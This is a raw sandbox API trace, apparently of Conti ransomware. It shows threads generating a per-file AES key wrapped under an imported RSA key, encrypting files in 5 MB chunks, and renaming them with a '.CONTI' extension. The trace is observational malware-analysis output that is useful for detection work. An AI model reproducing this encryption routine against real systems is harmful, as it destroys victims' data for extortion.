	[0150.353] WriteFile (in: hFile=0x390, lpBuffer=0x65d2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x65d2518*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0150.353] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0150.353] CloseHandle (hObject=0x390) returned 1
	[0150.353] GetProcessHeap () returned 0x1720000
	[0150.353] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0150.419] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms" | out: lpString1="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms") returned="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms"
	[0150.419] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.CONTI") returned="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.CONTI"
	[0150.419] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms" (normalized: "c:\\users\\fd1hvy\\searches\\winrt--{s-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms"), lpNewFileName="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.CONTI" (normalized: "c:\\users\\fd1hvy\\searches\\winrt--{s-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.conti")) 

Thread:
	id = 150
	os_tid = 0x1328

	[0093.041] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0x9370000
	[0093.041] CryptAcquireContextA (in: phProv=0x3a7ff58, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x3a7ff58*=0x174b458) returned 1
	[0093.043] CryptImportKey (in: hProv=0x174b458, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x3a7ff54 | out: phKey=0x3a7ff54*=0x173a810) returned 1
	[0093.043] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0094.366] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x17c5a20 | out: phKey=0x17c5a20*=0x175e570) returned 1
	[0094.366] CryptExportKey (in: hKey=0x175e570, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5a24, pdwDataLen=0x3a7ff24 | out: pbData=0x17c5a24*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0094.457] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20
	[0094.457] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0094.458] GetLastError () returned 0x0
	[0094.458] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=43131591) returned 1
	[0094.458] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x29222c7
	[0094.458] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.458] SetEndOfFile (hFile=0x338) returned 1
	[0094.458] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.458] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.458] WriteFile (in: hFile=0x338, lpBuffer=0x17c5a24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x17c5a24*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0094.919] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.919] ReadFile (in: hFile=0x338, lpBuffer=0x9370000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x500000, lpOverlapped=0x0) returned 1
	[0095.739] CryptEncrypt (in: hKey=0x175e570, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x500000, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x500000) returned 1
	[0095.745] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.745] WriteFile (in: hFile=0x338, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x500000, lpOverlapped=0x0) returned 1
	[0095.809] ReadFile (in: hFile=0x338, lpBuffer=0x9370000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x500000, lpOverlapped=0x0) returned 1
	[0097.257] CryptEncrypt (in: hKey=0x175e570, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x500000, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x500000) returned 1
	[0097.263] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.263] WriteFile (in: hFile=0x338, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x500000, lpOverlapped=0x0) returned 1
	[0098.476] ReadFile (in: hFile=0x338, lpBuffer=0x9370000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x500000, lpOverlapped=0x0) returned 1
	[0099.900] CryptEncrypt (in: hKey=0x175e570, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x500000, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x500000) returned 1
	[0099.907] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xa00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.907] WriteFile (in: hFile=0x338, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x500000, lpOverlapped=0x0) returned 1
	[0101.053] ReadFile (in: hFile=0x338, lpBuffer=0x9370000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x500000, lpOverlapped=0x0) returned 1
	[0102.289] CryptEncrypt (in: hKey=0x175e570, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x500000, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x500000) returned 1
	[0102.295] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xf00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.295] WriteFile (in: hFile=0x338, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x500000, lpOverlapped=0x0) returned 1
	[0102.835] ReadFile (in: hFile=0x338, lpBuffer=0x9370000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x500000, lpOverlapped=0x0) returned 1
	[0104.004] CryptEncrypt (in: hKey=0x175e570, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x500000, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x500000) returned 1
	[0104.010] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x1400000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.010] WriteFile (in: hFile=0x338, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x500000, lpOverlapped=0x0) returned 1
	[0104.315] ReadFile (in: hFile=0x338, lpBuffer=0x9370000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x500000, lpOverlapped=0x0) returned 1
	[0104.797] CryptEncrypt (in: hKey=0x175e570, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x500000, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x500000) returned 1
	[0104.803] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x1900000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.803] WriteFile (in: hFile=0x338, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x500000, lpOverlapped=0x0) returned 1
	[0105.489] ReadFile (in: hFile=0x338, lpBuffer=0x9370000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x500000, lpOverlapped=0x0) returned 1
	[0106.189] CryptEncrypt (in: hKey=0x175e570, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x500000, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x500000) returned 1
	[0106.195] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x1e00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.195] WriteFile (in: hFile=0x338, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x500000, lpOverlapped=0x0) returned 1
	[0106.722] ReadFile (in: hFile=0x338, lpBuffer=0x9370000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x500000, lpOverlapped=0x0) returned 1
	[0107.436] CryptEncrypt (in: hKey=0x175e570, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x500000, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x500000) returned 1
	[0107.442] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x2300000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.442] WriteFile (in: hFile=0x338, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x500000, lpOverlapped=0x0) returned 1
	[0108.345] ReadFile (in: hFile=0x338, lpBuffer=0x9370000, nNumberOfBytesToRead=0x1222c7, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x1222c7, lpOverlapped=0x0) returned 1
	[0108.361] CryptEncrypt (in: hKey=0x175e570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x1222c7, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x1222d0) returned 1
	[0108.362] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x2800000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.362] WriteFile (in: hFile=0x338, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x1222d0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x1222d0, lpOverlapped=0x0) returned 1
	[0108.376] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.376] WriteFile (in: hFile=0x338, lpBuffer=0x17c5a18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x17c5a18*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0108.376] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.376] CloseHandle (hObject=0x338) returned 1
	[0108.377] GetProcessHeap () returned 0x1720000
	[0108.377] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fb458
	[0108.658] lstrcpyW (in: lpString1=0x17fb458, lpString2="C:\\588bce7c90097ed212\\netfx_Extended.mzz" | out: lpString1="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned="C:\\588bce7c90097ed212\\netfx_Extended.mzz"
	[0108.658] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\netfx_Extended.mzz", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\netfx_Extended.mzz.CONTI") returned="C:\\588bce7c90097ed212\\netfx_Extended.mzz.CONTI"
	[0108.658] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.CONTI" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.conti")) returned 1
	[0108.659] GetProcessHeap () returned 0x1720000
	[0108.659] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fb458 | out: hHeap=0x1720000) returned 1
	[0108.659] CryptDestroyKey (hKey=0x175e570) returned 1
	[0108.659] GetProcessHeap () returned 0x1720000
	[0108.659] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0ea8 | out: hHeap=0x1720000) returned 1
	[0108.659] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0108.659] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x65149a8 | out: phKey=0x65149a8*=0x17c82b0) returned 1
	[0108.659] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x65149ac, pdwDataLen=0x3a7ff24 | out: pbData=0x65149ac*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0108.660] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\220__connections_cellular_cable and wireless (jamaica)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.306] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\220__connections_cellular_cable and wireless (jamaica)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0109.306] GetLastError () returned 0x0
	[0109.306] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=494) returned 1
	[0109.306] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1ee
	[0109.306] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.306] SetEndOfFile (hFile=0x384) returned 1
	[0109.306] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.307] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.307] WriteFile (in: hFile=0x384, lpBuffer=0x65149ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x65149ac*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0109.309] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.309] ReadFile (in: hFile=0x384, lpBuffer=0x9370000, nNumberOfBytesToRead=0x1ee, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x1ee, lpOverlapped=0x0) returned 1
	[0109.309] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x1ee, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x1f0) returned 1
	[0109.309] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.309] WriteFile (in: hFile=0x384, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x1f0, lpOverlapped=0x0) returned 1
	[0109.309] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.309] WriteFile (in: hFile=0x384, lpBuffer=0x65149a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x65149a0*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0109.309] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.309] CloseHandle (hObject=0x384) returned 1
	[0109.309] GetProcessHeap () returned 0x1720000
	[0109.309] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x656c130
	[0109.310] lstrcpyW (in: lpString1=0x656c130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml"
	[0109.310] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.310] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\220__connections_cellular_cable and wireless (jamaica)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\220__connections_cellular_cable and wireless (jamaica)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.313] GetProcessHeap () returned 0x1720000
	[0109.313] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656c130 | out: hHeap=0x1720000) returned 1
	[0109.313] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0109.313] GetProcessHeap () returned 0x1720000
	[0109.313] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3e08 | out: hHeap=0x1720000) returned 1
	[0109.313] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0109.313] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6512c00 | out: phKey=0x6512c00*=0x6b7f338) returned 1
	[0109.313] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x6512c04, pdwDataLen=0x3a7ff24 | out: pbData=0x6512c04*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0109.314] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\221__connections_cellular_digicel (jamaica)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.314] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\221__connections_cellular_digicel (jamaica)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0109.314] GetLastError () returned 0x0
	[0109.314] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=786) returned 1
	[0109.314] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x312
	[0109.314] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.314] SetEndOfFile (hFile=0x384) returned 1
	[0109.314] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.314] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.314] WriteFile (in: hFile=0x384, lpBuffer=0x6512c04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x6512c04*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0109.316] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.316] ReadFile (in: hFile=0x384, lpBuffer=0x9370000, nNumberOfBytesToRead=0x312, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x312, lpOverlapped=0x0) returned 1
	[0109.316] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x312, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x320) returned 1
